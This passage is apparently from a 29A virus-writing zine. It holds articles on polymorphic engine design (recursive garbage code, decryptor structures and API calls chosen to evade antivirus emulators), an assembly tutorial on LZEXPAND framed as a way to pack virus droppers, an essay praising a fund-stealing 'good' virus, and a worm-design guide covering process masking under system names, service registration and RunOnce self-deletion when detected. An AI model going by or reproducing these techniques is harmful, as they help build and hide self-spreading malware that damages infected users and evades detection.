When we finish, we'll have a decryptor that its behaviour is exactly the same as a normal one, but that you never know which branch of code is going to be executed every time, since when you jump to loop, you perform a random number of random comparisions and conditional jumps that will drive you to a random decryption part. Due to the fact that every final part of the branch does the same than the others, we don't care which one becomes executed every time, so we broke the linearity of execution and now, "from the outside", the decryptor resembles a normal application following its conditions, not a decryption loop. 1.3 Internal recursivity -----------------------We have seen that Branching requires recursivity for an easy coding of the technique, but since we have done it, we can make the entire engine oriented to recursive functions, specially to generate indirect register/memory modifications. We are going to code some usual functions recursively, adding a variable that I call "recursivity level", which is a variable that is increased every time the function is called, and it's used to control the active instances of this function (so, when we arrive to a pre-decided number of callings, then we avoid calling this function recursively again). Let's see

the MOV Reg,Value instruction and what happens if we code the function that generates this type of instruction in a recursive way: 1. Decide the MOV types ----------------------Normally I use MOV Reg,Value, PUSH Value/POP Reg and LEA Reg,[Value], but it's up to you. There is another opcode for MOV Reg,Value (C7 C?), but try to avoid it since no compiler will generate it (although is completely correct for the processor, since it's the opcode for MOV DWORD PTR [Address],Value with the register-selection bits activated) since there are more optimized ways of doing it (concretely, the B? one-byte opcodes for direct value MOVs). Now that we have this MOVs, we select them as a "last chance": we use them, for example, in a 25% of callings, and when we are in a quite deep recursivity level (5 or 6 is enough, I think). We'll call this function "DoMOVRegValue". So, at the beginning, we can put: inc byte ptr [RecursivityLevel] cmp byte ptr [RecursivityLevel], 5 jae MakeNoRecursive ... And, to finish, we jump here instead of making RET: Return: dec ret byte ptr [RecursivityLevel]

2. Not only this function, but more! -----------------------------------To increase complexity of generated code, we have to make other functions that follow the same method as DoMOVRegValue. We can code DoMOVRegReg, DoMOVRegMem (this will make a MOV Reg,[Address] or similar), DoMOVMemReg, and the modifications (DoADDRegValue, *SUB*, *XOR*, etc.). We have to be careful with this ones, and we have to be sure that there's no error in its code, as we are going to code it all together at the same time (well, I prefer this method, but you can make it easier at first and increase the function's internal options when you have tested it). Then, DoMOVRegValue won't generate only the direct movings that we decided before, but we have more chances to make a value moving, for example: ; DL=Register to use ; EAX=Value to move to the register call GiveMeABufferAddress ; Now, EBX=Buffer address where we can store a dword call DoMOVMemValue ; Using EBX as address and EAX ; as value call DoMOVRegMem ; Using EBX as address and DL ; as register ret This would be a direct case, but what if we do this?: call GiveMeABufferAddress call AdjustMemToValue call DoMOVRegMem AdjustMemToValue: mov ecx, eax call Random ; EAX=Random number sub ecx, eax xchg ecx, eax call DoMOVMemValue ; Move EAX to [EBX] call MakeGarbage

mov call ret

eax, ecx DoADDMemValue ; Add EAX to [EBX]

Of course, we don't use only ADD, but XOR, SUB, etc. And we don't use this only in memory addresses, so we can use it in another chance: (this is inside DoMOVRegValue and we arrive here randomly, since there are other options, of course): call AdjustRegToValue ret AdjustRegToValue: mov ecx, eax xchg ecx, eax call DoMOVRegValue ; Recursive call call MakeGarbage mov eax, ecx call DoADDRegValue ret Then, possibilities are infinite. We can combine all the functions we made before to generate a quite complex MOVing. We can make the same with DoMOVRegReg (taking as not-recursives, for example, MOV Reg1,Reg2, LEA Reg1,[Reg2] or PUSH Reg2/POP Reg1). We can use also other functions to increase this: DoPUSHReg, DoPUSHMem, etc. Let's see an example of deep recursivity: 1 - We call DoMOVRegValue, and we arrive to: call GiveMeABufferAddress call AdjustMemToValue call DoMOVRegMem jmp Return 2 - So, we execute AdjustMemToValue, which internally calls to DoMOVMemValue and later to DoADDMemValue. Inside DoMOVMemValue we arrive to: call DoPUSHValue call DoPOPMem jmp Return 3 - Executing DoPUSHValue, we arrive here: call GiveMeABufferAddress call AdjustMemToValue call DoPUSHMem jmp Return Buf! We are very deep now in recursive instances of that functions. After a while, it'll exit from AdjustMemToValue, and maybe it called other recursive functions that again called AdjustMemToValue, so that's why we have to control the number of recursive calls, since it can generate an enormous amount of code without a great effort. After doing DoPUSHValue, it executes DoPOPMem which strategically isn't recursive (and logically too, since there isn't a DoMOVMemMem instruction). 4 - After returning completely from AdjustMemToValue, the function DoMOVRegMem will be executed. This function can also be very deep in recursivity calls, for example: call DoPUSHMem call DoPOPReg jmp Return

We know that DoPUSHMem doesn't make recursive calls, but the next function, DoPOPReg, can make them, for example: call GiveMeABufferAddress call DoPOPMem call DoMOVRegMem jmp Return Again, more recursive calls :). After this, you can see how powerful is the recursive code generation, and how a simple MOVing can derive in a quite complex set of assignations from to memory/registers, giving as a final result the desired value in the desired register. Many functions can be done in this way, and later we'll see its application to make garbage.

ÚÄÄÄÄÄÄ---úú | 2. Don't give a ` But even the most worthless if it's or a quite common

. chance to AVs | úú--ÄÄÄÄÄÄÄÙ recursive engine in the world can make all the work detected heuristically because it put a strange instruction polymorphic structure, like: JMP Next Subroutine: ... ret Next: call Subroutine or similars, because no normal application does that. 2.1 Coherent decryptor structures --------------------------------What to do, then? It's easy: just have an array of "inconcluded calls", I mean: you code the CALL instruction, but you don't code the subroutine yet. Then, you save the address of this instruction in an array and upon a random decision, or at the end of the decryptor, the engine generates the subroutines and completes the CALLs that are in the array to make them point to the new generated subroutines. Also a good way is pre-generate some subroutines before the entrypoint of the decryptor, and make calls to them (combining this type of CALLing with the "inconcluded call" type). With this, the decryptor looks more like a compiler-generated application, at least using CALL instructions. Other very polwerful thing is using a stack frame inside the generated subroutines: you make PUSH EBP / MOV EBP,ESP at the beginning and POP EBP at the end of the subroutine and then you can't determine in a first sight if the decryptor is a product of a compiler or not. Even better if you use that stack frame to retrieve values! :) Other thing: avoid this: JMP Label x Random bytes Label: Do you think it's normal to find this in a normal application? Then, the emulator thinks the same :). Avoid this and avoid inserting direct random data without being linked to any direct instruction. 2.2 Opcodes to avoid -------------------Have you ever scanned a virus that, although extremely polymorphic, inserts one-byte instructions like CMC, STI, etc.? If you have tried it with AVP, for example, you maybe noticed that automatically the antivirus enters in deep scan. Why? Because it's HIGHLY suspicious to use these instructions. Who uses CMC nowadays? And not only that, since the random generator trends to insert

quite a lot of this dummy instructions, and the antivirus emulator knows that fact, so when it founds a more or less big number of these instructions (and some instructions directly, even if there is only one), it decides that the file is so suspicious that maybe worth the time to enter in deep scan. Maybe it doesn't found anything, but an average user can think that that file has anything more than the original application. This advide is also for some 16 bits instructions under win32 applications. While coding the TUAREG engine, I put nearly all the instructions the garbage generator could generate to use 8, 16 or 32 bits, and then, when scanning with AVP, the emulator switched always to deep scan. After thinking about it, I removed the generation of some 16 bits instructions and AVP didn't make that again. I don't know which instructions make AVP to activate that heuristic flag, but invariably I recommend to use as less as possible 16 bits instructions.

ÚÄÄÄÄÄÄ---úú . | 3. Advanced garbage generation | ` úú--ÄÄÄÄÄÄÄÙ Now, we are going to enter in one of my favorite subjects: garbage generation. My opinion is that the main power of a polymorphic engine is the function to generate garbage, since the garbage is the code that makes the emulators to give up tracing or help them to determine the nature of the program. So, the more normal the garbage seems, the less suspicious the decryptor seems, and the more complex the garbage is, the less an emulator can enter into the decryptor to emulate. Let's see some types, although there aren't all (obviously I'm not going to explain the easy ones). Imagination also counts! 3.1 Memory accesses ------------------Nowadays is a must to have it in an engine, if one wants to make it complex. Which type of application doesn't make any random-access memory operation in the first 300 bytes? Only a very weird program or an infected program with an attached polymorphic virus that doesn't implement memory writing instructions can do this (besides decryption process). But the fact is that, while in MS-DOS we had all the memory accesible, and we could read from everywhere, this isn't true for win32, and an attempt to read from "everywhere" will cause, in the great majority of times, an exception. Writing is much more restrictive under win32, because we can only write on the sections we defined as WRITABLE on the PE header (although we want to generate an exception, of course :). So, we can use some tricks to have frames of memory to read and/or write indiscriminatedly. In win32 executables, we have a section that exists in nearly all them: the ".bss" section. This section has a physical size (in file size) of 0, but virtually can be quite big (its size is normally 1000h bytes at least, but in huge programs can arrive to 64K or more). We can use that section to read and/or write anything we want, but always if we make our virus to execute at first, not doing Entry-Point Obscuring and such things, since the application would set all the void data in the section to whatever it needs. There is another solution, and is to use the void holes in the virus that we use to retrieve, for example, the current directory with GetCurrentDirectory or similar functions. Since we don't need that fields until the virus is executing, we can use that holes, if they are big enough, as frames of memory in the same way as .bss, where we can read and write things. So, once we have that frames, and we are sure that at least 256 or 512 bytes are free to do animalities :), we can code a function to retrieve a random memory address, for example: call Random

and add ret

eax, 0FCh eax, [AddressOfMemoryFrame]

That will return in EAX a memory address, which moreover is aligned in a dword boundary. 3.2 API calls ------------OK, so after coding a good decryptor structure and memory accesses, to fuck up completely any initial suspiciousness about the "undesired traveller", we insert API calls. It's not easy to put them, and we only can call those ones that we know how to call, so we have to have information about all them (there isn't a "generic" way of calling them), and moreover we need to find and scan the import directory of the victim host while infecting it, so we have to deduce, from the virtual address (since we only know that about the import directory from the PE header), which physical address is, and then from the physical address convert to virtual address to have the imported API calling address. The method I follow is the next, assuming we have the host mapped in memory: 1) We get the virtual address of the import directory, which is located at PE_Header+80h. 2) Now, we scan all sections of the file to find in which section that virtual address will be. 3) After finding the section, we subtract the virtual address of the section to the virtual address of the import, to get the relative position of the import directory in that section, and we add the result to the physical address of the section to get the physical address of the import. 4) Now, we save the values we have obtained in the process, and we begin to scan the mapped import directory as if it were virtual, since later the program will be in that way in memory. 5) We scan the imported modules and we look for known functions, but taking in account that every time we get an RVA first we have to convert it to physical (this applies while getting values from the array of RVAs to the names of the functions), so, having the RVA, we subtract the RVA of the section and we add the physical address of that section, so we get the physical address of the name of the function. 6) Then, when we find the desired functions, we get the order in the array of imported addresses. We add to that number the virtual address of that array in order to get the virtual address where the imported address will be stored. 7) We save that number, and we continue searching for more functions. After that, we get the addresses to the import where the virtual addresses to the functions will be stored. Now, a call like CALL [Obtained_Address] will make a call to the API. Just be careful with the parameters and with the functions were a buffer is required. Another thing: as Micro$oft programmers are dumb or worse, there are functions that can hang the application, like GetModuleHandleA. I've tried to pass to it a random pointer as the module name to get the handle of, but then an exception occurs, instead of returning an error telling "no valid string" or "module not found" or something like that, so be careful with some functions.

3.3 Recursive garbage functions ------------------------------Before we saw the potential of recursive calls to make things, and now we apply that to garbage. There are some types of garbage that we can make (and we must make) in a recursive way, like CALLs, random loops and some more. Here I'll explain CALLs and random loops. Before I explained a method of how to make CALLs without making suspicious structures, and I told that, later, at the end of the decryptor (for example), you can construct the subroutines that are called by that CALLs. To make the subroutines, we should use recursivity, so we have to code the DoGarbage function in a recursive way, I mean, the function can be called by itself. This has to be made to make better garbage inside the CALLs, and moreover in that way in that subroutines we can have other CALLs, also. But be careful, because something like this can happen: Subroutine1: ... call ... ret Subroutine2: ... call ... ret

Subroutine2

Subroutine1

That situation can produce a hang of the decryptor, and thus the application never executes. To avoid that, we can use arrays to store "levels" of calls, in this way: CallsLevel1 CallsLevel2 CallsLevel3 ... db db db x dup (?) x dup (?) x dup (?)

When we enter in the CALL generation part of the engine, we must increase a variable, like an internal recursivity level, to control the level of call that we are generating now, in a way that makes that Level 1 calls never will generate a call to Level 1 or upper, and the same for Level 2 and so on. In thas way we avoid situations like the one above, since a subroutine won't call other subroutine which will drive execution to the same subroutine again. Other recursive garbage generation is the random loop generation. We can put little, annoying loops that do nothing but that, loop (just seven or eight times, nothing that last very long). Since a random loop inside a random loop is equal to a geometrical increment of the loop duration, better if we avoid them, having a variable telling "I'm in a loop now, so don't make another". The same applies for CALLs, since we code them later, not in that moment, and maybe we put another loop inside the generated subroutine, which would produce the same problem. So, when generating looping code, avoid making other loops or calls. To make the loop, of course, we call to DoGarbage to fill some looping space (a void loop isn't normal, you know). And, as you could deduct, maybe, we can use DoMOVRegValue and all those functions that we coded to generate more garbage: just take a garbage register and a random number and use that functions. ÚÄÄÄÄÄÄ---úú . | 4. Last words | ` úú--ÄÄÄÄÄÄÄÙ Well, this article is shorter than I expected, but I hope it'll be useful for

you to bring you ideas while coding your new polymorphic engine. The great majority of ideas I expose here have been used in the TUAREG engine, and sometimes in the source code of the TUAREG I refer to this article to get the explanation of some techniques. Laterz! ÄÄÄÄÄ---úú The Mental Driller / 29A ÄÄÄÄÄ---úú

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ LZEXPAND Tutorial ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ by Bumblebee/29a

Introduction ÄÄÄÄÄÄÄÄÄÄÄÄ This tutorial explains how to expand a compressed file using win API and MS COMPRESS.EXE. It is a lame tool to compress files with a LZ algo and the format required by LZEXPAND.DLL. Look at tools section at this zine and you'll find COMPRESS.EXE there. We can compress a dropper, as example, and put inside your virus body. Due the dropper was compressed using an external program we don't need to care about the compression algo. When we need the file uncompressed we don't need to carry the expand routines inside virus body because winshit provides us a simple way to expand it using standard win32 API. Even LZ77 doesn't gives us wonder compression ratios it's interesting check it coz it could work as encryption and may be your huge 20 kbs infector that has a dropper for irc will reduce it's size in some kbs. Test it and if you feel it's worth it: let's LZEXPAND it!

What is a LZEXPAND.DLL? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ It's simply a library that contains some functions files within our win32 appz. Let's check what is provided: LZCopy LZOpenFile LZClose to manage the LZed

Copies a compressed file into an uncompressed one Opens a compressed file and returns a handle Closes a file handle by LZOpenFile

There are other functions but we are going to use only those.

Get LZEXPAND.DLL ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ We need to load LZEXPAND.DLL library and get the address of the func in order to use them. It is done as usual. Notice we call LZ32.DLL coz we are running a 32 bits app and LZEXPAND.DLL is a lame NE file :) Let's show ya an example: ; ebp assumed to be delta offset ; some API addr required: ; LoadLibraryA GetProcAddress LzExpandZs db 'LZ32.dll',0 ; this is the wrapper for 32bits LzExpandHnd dd 0 LzFuncZs0 db 'LZCopy',0 LzFuncZs1 db 'LZOpenFileA',0 LzFuncZs2 db 'LZClose',0 LzFuncZsA dd offset LzFuncZs0,offset LzFuncZs1 dd offset LzFuncZs2 LzFuncAddr: _LZCopy dd 0 _LZOpenFile dd 0 _LZClose dd 0

lea push call or jz mov

eax,LzExpandZs+ebp eax dword ptr [_LoadLibraryA+ebp] eax,eax LzExpandNotLoaded ; failed loading dll dword ptr [LzExpandHnd+ebp],eax ; array func stringz ; array to store addresses

lea esi,LzFuncZsA+ebp lea edi,LzFuncAddr+ebp mov ecx,3 GetLzFuncLoop: mov edx,dword ptr [esi] add edx,ebp push esi edi ecx push edx push dword ptr [LzExpandHnd+ebp] call dword ptr [_GetProcAddress+ebp] or eax,eax pop ecx edi esi jz LzExpandFuncNotFound mov dword ptr [edi],eax add esi,4 add edi,4 loop GetLzFuncLoop

; api strz ; dll handle

; failed getting api

Do not copy and paste. Understand it! And remember to call FreeLibrary when LZEXPAND work is done. I think can be easily translated to HLL. Only asm example :) I'm sure this code is very basic and you already know it.

Using LZEXPAND.DLL ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ A LZEXPAND session goes as folows: 1. 2. 3. 4. 5. LZOpenFile source (compressed) LZOpenFile destination (where to place uncompressed) LZCopy source over destination LZClose source LZClose destination

Let's see the funcs protos: int LZOpenFileA(LPTSTR filename,LPOFSTRUCT reOpenBuf, WORD style) ----------------------------------------------------------------filename: The zero string of the file to open. reOpenBuf: Pointer to a struct that will be filled. It's for re-open matters... OFSTRUCT cBytes fFixedDisk nErrCode Reserved szPathName OFSTRUCT struc db db dw dw db ends

used for

? ; lenght of the struct ? ; non zero if file on HDD ? ; DOS error code if open fails ?,? 128 dup(?) ; path name

style: Action to take. OF_READ equ 0000h

OF_WRITE OF_CREATE OF_...

equ equ

0001h 1000h

The func returns a file handle or a valid handle on error. long LZCopy(int source, int destination) ---------------------------------------source: a file hadle from LZOpenFile with OF_READ style. destination: a file hadle from LZOpenFile with OF_WRITE style. Returns the size of the destination file and < 0 value for error. void LZClose(int handle) -----------------------handle: handle of file from LZOpenFile to close. Here follows an example that expands a file called file.tx_ into a file.txt. Notice that delta offset is not needed so ebp has been removed. I tried to use previous pieze to get APIs from LZEXPAND.DLL with minium changes. ; cut here ---------------------------------------------------------------; ; This is an exaple of the use of LZEXPAND.DLL ; Notice the ebp stuff is removed due is not required! ; Expands file.tx_ to file.txt. ; Coded by Bumblebee/29a ; .486p locals .model flat,STDCALL extrn extrn extrn extrn OFSTRUCT cBytes fFixedDisk nErrCode Reserved szPathName OFSTRUCT ExitProcess:PROC LoadLibraryA:PROC GetProcAddress:PROC FreeLibrary:PROC struc db db dw dw db ends

? ; lenght of the struct ? ; non zero if file on HDD ? ; DOS error code if open fails ?,? 128 dup(?) ; path name

OF_READ OF_WRITE OF_CREATE .DATA LzExpandZs LzExpandHnd LzFuncZs0 LzFuncZs1 LzFuncZs2 LzFuncZsA LzFuncAddr: _LZCopy db dd db db db dd dd dd

equ equ equ

0000h 0001h 1000h

'LZ32.dll',0 ; remeber: use the wrapper 0 'LZCopy',0 'LZOpenFileA',0 'LZClose',0 offset LzFuncZs0,offset LzFuncZs1 offset LzFuncZs2 0

_LZOpenFileA _LZClose ofStruct file_in file_out hnd_in hnd_out .CODE inicio: push call or jz mov

dd dd

0 0

OFSTRUCT <?> db db dd dd 'file.tx_',0 'file.txt',0 0 0

offset LzExpandZs LoadLibraryA eax,eax LzExpandNotLoaded dword ptr [LzExpandHnd],eax

; failed loading dll

lea esi,LzFuncZsA lea edi,LzFuncAddr mov ecx,3 GetLzFuncLoop: mov edx,dword ptr [esi] push esi edi ecx push edx push dword ptr [LzExpandHnd] call GetProcAddress or eax,eax pop ecx edi esi jz LzExpandFuncNotFound mov dword ptr [edi],eax add esi,4 add edi,4 loop GetLzFuncLoop push push push call cmp jb mov push push push call cmp jb mov push push call push call push call OF_READ offset ofStruct offset file_in dword ptr [_LZOpenFileA] eax,0 LzExpandFuncFailed dword ptr [hnd_in],eax OF_WRITE OR OF_CREATE offset ofStruct offset file_out dword ptr [_LZOpenFileA] eax,0 LzExpandFuncFailed dword ptr [hnd_out],eax dword ptr [hnd_out] dword ptr [hnd_in] dword ptr [_LZCopy] dword ptr [hnd_out] dword ptr [_LZClose] dword ptr [hnd_in] dword ptr [_LZClose]

; array func stringz ; array to store addresses

; api strz ; dll handle

; failed getting api

LzExpandFuncFailed: push dword ptr [LzExpandHnd]

call

FreeLibrary

LzExpandFuncNotFound: LzExpandNotLoaded: push 0h call ExitProcess Ends End inicio ; cut here ---------------------------------------------------------------As you can see it's very easy :)

Where to use it ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ As i said in the introduction LZ algo that uses MS Compress and LZEXP is not very good. We will get better compression ratio with huge files. The only way to know if we can use it in our projects it's just doing some tests. Let me show you a nice example of LZEXPAND usage: We have a two-parts virus: a. PE infector coded in asm b. Word Macro If our PE infector is less than 4 kbs there is nothing to but if the macro part is about 100 kbs... :). The idea is to the word doc and store compressed into the PE part. When the runs it drops an uncompressed sample of the doc. The doc is installer that creates some macroz and... blah blah. We get: Inside PE files Macros /----------------------------------------\ With LZEXPAND | 4 + n kbs | 100 + (4+n) kbs | Without LZEXPAND | 4 + 100 kbs | 100 + (4+100) kbs | \----------------------------------------/ compress compress PE pieze a little

With n less than 100 kbs. I've tested with Plage2000 and i've got: Un-compressed: Compressed: 102.400 bytes 32.597 bytes

As you can see, in this example we can use LZEXPAND very fine.

Last words ÄÄÄÄÄÄÄÄÄÄ Micro$oft Winblows if full of shit we can use for our own profit. We only need to see what it brings and just get it. Now you can use simple compression in your projects with the APIs provided by M$. I hope you enjoy this little article. Nice coding! The way of the bee

Why a "good" virus is good idea by VirusBuster/29A

Back in 1997, the well known antivirus expert Vesselin Bontchev wrote an article giving twelve reasons to proof viruses are always a bad idea. That's too pedantic for my vx taste, then i decided to write this article explaining why a "good" virus can be a good idea. First, we will hear what "good thinking minds" have to say about the question. Here we have Vesselin's article with his 12 reasons:

--- start --A dozen reasons why a "good" virus is a bad idea by Vesselin Bontchev 1. It is unethical to modify somebody's data without his/her knowledge. In several countries this is also illegal. 2. Modifying a program could mean that the owner of the program loses his/her rights for technical support, ownership, or copyright. 3. Once released, you have no control on how the virus will spread; it may reach a system about which you know nothing (or which could have even not existed at the time the virus is created) and on which it might cause non-intentional damage. Even if the bug is discovered, it would be extremely difficult to find all replicants of the virus and apply the appropriate fix to them. 4. A bad guy could get a copy of the virus and modify it to include something malicious. Actually, a bad guy could trojanize -anyprogram, but a "good" virus will provide the attacker with means to transport his malicious code to a virtually unlimited population of computer users. 5. The anti-virus programs will have to distinguish between "good" and "bad" viruses, which is essentially impossible. Also, the existence of useful programs which modify other programs at will, will make the integrity checkers essentially useless, because they will be able only to detect the modification and not to determine that it has been caused by a "good" virus. 6. A virus will eat up disk space and time resources unnecessarily while it spreads. 7. A virus could contain bugs which might damage something or harm somebody. Any program could be buggy, but the virus is a self-spreading buggy program which is out of control. 8. A virus will disable the few programs on the market which check themselves for modifications and halt themselves if they have been changed, thus performing a denial-of-service attack. 9. Anything useful that could be done by a virus, could also be done with a normal, non-replicating program. 10. A virus steals control of the machine from the user and ruins the

trust that the user has in his/her machine - the belief that s/he can control it. 11. Declaring some viruses as "good" will just give an excuse to the crowd of virus writers to claim that they are actually doing "research". 12. For most people the word "computer virus" is already loaded with negative meaning. They will not accept a program called like that, even if to claims to do something useful. --end ---

Here you can read a more recent article talking about the same matter...

--- start --Can viruses be used for good instead of evil? by Bruce Schneier and Elizabeth Zwicky September 15, 2000 (IDG) -- H.L. Mencken once said, "For every human problem, there is a neat, simple solution; and it is always wrong." That axiom applies to the cool-sounding idea that computer-security gurus propose: Why don't we use viruses for good instead of evil? As long they're infecting everyone's computer, why don't we distribute them to patch vulnerabilities, update systems and improve security? A virus is made of two parts: a propagation mechanism and a payload. The propagation mechanism spreads the virus from computer to computer. The payload is what it does once it gets to a computer. The idea is to create viruses with beneficial payloads and let them propagate. This is tempting for several reasons. One, turning a weapon against itself is a poetic concept. Two, it's a technical challenge that lets ethical programmers share in the fun of designing viruses. And three, it sounds like a promising technique to solve one of the nastiest security problems: patching, or repairing computer vulnerabilities. Right now, the best patching techniques involve a lot of negotiation and manual labor -- which nobody enjoys very much, especially computer technicians. Beneficial viruses seem like a nice remedy: You turn a byzantine social problem into a fun technical solution. You don't have to convince people to install patches and system updates. You just use the technology to force them to do what you want. Therein lies the problem. Patching other people's machines without annoying them is good; patching other people's machines without their consent is not. Beneficial viruses are a simple solution that's always wrong. A virus is not "bad" or "good" based on its payload. Viral propagation mechanisms are inherently bad, and giving them beneficial payloads doesn't help. A virus isn't a tool for any rational network administrator, regardless of intent. A good software distribution mechanism has the following characteristics: People can choose different options.

Installation is adapted to the host. It's easy to stop an installation in progress, or uninstall the software. It's easy to know what has been installed where. A successful virus, on the other hand, is installed without a user's consent. It has a small amount of code and it self-propagates, automatically spreading until halted. These characteristics are incompatible with those of software distribution. Giving the user more choice, making installation flexible and universal, allowing for uninstallation -- all of these make it harder for the virus to propagate. Designing a better software distribution mechanism makes it a worse virus. Making the virus quieter and less obvious to the user, smaller and easier to propagate, and impossible to contain add up to lousy software distribution. All of this means that viruses are easy to get wrong and hard to recover from. Once a virus starts spreading it's hard say what it will do. Some viruses have been written to propagate harmlessly, but wreaked havoc -ranging from crashed machines to clogged networks -- due to bugs in their code. Some viruses were written to do damage and turned out to be harmless, which is even more revealing. Intentional experimentation by well-meaning system administrators proves that in your average office environment, the code that successfully patches one machine won't work on another. Indeed, sometimes the results are worse than any threat from an external virus. To combine a tricky problem with a distribution mechanism that's impossible to debug and difficult to control is risky. Every system administrator who's ever automatically distributed software on his or her network has had the "I just automatically, with the press of a button, destroyed the software on hundreds of machines at once!" experience. And that's with systems you can debug and control; self-propagating systems like viruses won't let you shut them down when you find the problem. Patching systems is fundamentally a human and social problem. Beneficial viruses are a neat, simple technical solution -- and Mencken was correct. --end ---

Obviously, i can not discuss viruses are basically pernicious, but i can not accept the remaining idea in those two articles: viruses are always bad... they can not be used for good purposes. VXers are always the bad buys of the movie... or maybe not... I can, and i'll proof that a virus can be a good thing... maybe not legal, but ethical and moral correct. Just read the next text:

--- start --"The weak point of the speculative capitalism is the financial system. More dangerous than the Y2K bug, would be a virus that modify all the unbackeds. A virus that would alter the titularity of the stock-markets. A virus that redirects the funds of the weapon manufacturers to the counts of the humanitary organizations. A virus in the roulette of the system, the tricked ball that would make the bank blow up. The backdoor is in Wall Street. The followers of the empire will call him criminal, but the human able to create that virus has a reserved place in the history books."

(Carlos S nchez Almeida from "Revoluci¢n", 15th october 1999) --end ---

In the above text we find the key for the "good" virus... "A virus that redirects the funds of the weapon manufacturers to the counts of the humanitary organizations." That sounds to Robin Hood: steal to the richs to give to the poors. Robin Hood is considered a hero... The virus coder that writes such virus, not only has reserved a place in the history books, he will be also considered a hero. As final thought i'ld like to say that the world is needing badly "good" viruses.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Wormz in 21st century ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ by Benny/29A ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Thanx goez to ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ salo, the hacker from Slovakia for his article "DOYOULOVEME?" published in hackerz zine Prielom. it inspired me and many thoughts in this article are taken from there.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Introduction ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ still remember the ILOVEYOU worm? yeah, that famous bug that become most wide-spreaded in the world and made the biggest "damages"... the spring 2000. after the scandal one polish man Zalewski (well known from bugtraq security conferension) decided to show ppl this virus ain't anything to fear of. from bugtraq (sorry for not exact translation): "media supported by altavista "experts" showed us apocalyptic vision of damage caused by stupid m$ outlook/vbs worm called "ILOVEYOU". calculated damages were incredible - 10 bilion dollarz invested to "damage repairing", especially if you will look at the growing prize of these companies on the market, it soundz silly. stupid vbs application that can't spread itself without looser click-on-me! interaction and is limited on the only one operating system designed for desktop computerz... worm that will spread itself to ppl from your e-mail address book and in its original version destroys mp3 filez on the disk. and you call it dangerous? stop being funny..." I fully agree with him. why is the world full of stupid macroviruses and vbs wormz? 90% of all viruses has nothing new to show and they were coded by cut&paste algorithm. do you believe this is the real danger for computer world? we all would like to code some superb worm that could cause world-wide infection, that could be able to spread very fast, that could stay undetectable for very long time and enable access to infected computer for you, maybe with many more features. well, why they exist so many lame wormz working still on the same algorithm: - find some e-mail addresses - send there itself - delete something is there a future in such wormz? I dont think so...

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Anathomy of "perfect worm" ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ yeah, also Zalewski knew that, and knew that long time before us. he wanted to code some worm, REALLY dangerous one (and as he said, he did it). but hey, dangerous does not mean destructive. dangerous means worm with dangerous spread abilities. his worm was based on following 7 rulez:

A) portability: the worm must be independent on target the target platform and must be able to work on various operating systemz, not only on unix like systemz, but also dos/win. B) invisibility: the worm must have implemented many anti-* and masking featurez for hidding itself in target system and be able to stay undetected as long time as possible. C) independency: the worm must be able to spread by itself, without need of any interaction on the user side, using database of exploits. D) learning abilities: the worm should be able to learn new exploit techniques on the fly. by release of one updated worm all other worm should be able to download newest version by special communication channel (let's call it "wormnet"). E) integrity: every worm and whole structure of wormnet should be hard to detect and modify/destroy. F) polymorphism: the worm should be totally polymorphic, with no constant part of code. G) application: the worm should be able to work by program - e.g. infect system, download instructionz, send some filez and when the mission is done, escape from the machine.

Now we will discuss step by step every point. So, A) portability will be probably big problem. it will be good to code such worm in some HLL language - C will be the best solution, becoz it is supported on almost every OS. you will need to use standard run-time libraries as much as possibly. yeah, sometimez you will need to use some system-specific call, mainly at pointz B) and F). but we code viruses/wormz for fun, not for making army weapons, so I'm sure almost noone will bother with this point :)

B) what can be harder to code than some silly anti-* routines, you may think. however, this is not so easy to code and not so unimportant as you think. sure, you have to implement many anti-* featurez known from virus coding, thats clear. but thats not all... imagine your worm is executed on some server and its running for seven dayz and reguraly takes CPU's time, for seven dayz. when administrator will open task manager, he will see that some strange process is running for seven dayz - and that loox suspicious for sure. my advice is: change process ID number and process name and mask the time the worm is running. under Win95/98 it is very easy - you can use RegisterServiceProcess API that can make the process invisible. under WinNT/2k the situation is harder - theres no such API and its not possible to make the application invisible in the system - hmm, only by hooking psapi.dll callz (EnumProcesses API, etc), but this is a bit harder to code. i know one better method: copy worm file to somewhere under another name (such as winlogon.exe, services.exe, crcss.exe if you will use the name of already running SERVICE, taskmanager won't be able to terminate it!), execute it and terminate itself. by this way you will create whole new process. it's very easy and efficent! you might want to register your worm as a service application under WinNT/2k. in this case just take a look at OpenSCManagerA and CreateServiceA APIz stored in ADVAPI32.dll. for such worm, it is very important to stay undetected as long time as possible.

it's better to delete the worm rather than get detected - I recommend you, if your worm will "think" that he is detected (resident AV program detected, debugger detected, task manager is opened etc..), immediatelly worm should delete itself. how? under Win95 you can delete even already opened filez by simple calling of DeleteFile(A/W) API. Under Win98/NT/2k its not possible. You can call MoveFileEx API that allows you to delete already opened program after next start of OS. But this call is not implemented under Win95/98 :( So, you have to use smarter way... the possible way is to write to registry HKLM\Software\Microsoft\Windows\\CurrentVersion\RunOnce %comspec% /C del <path_to_worm\worm_file_name.exe> and reboot OS. This line should delete worm in next start of OS.

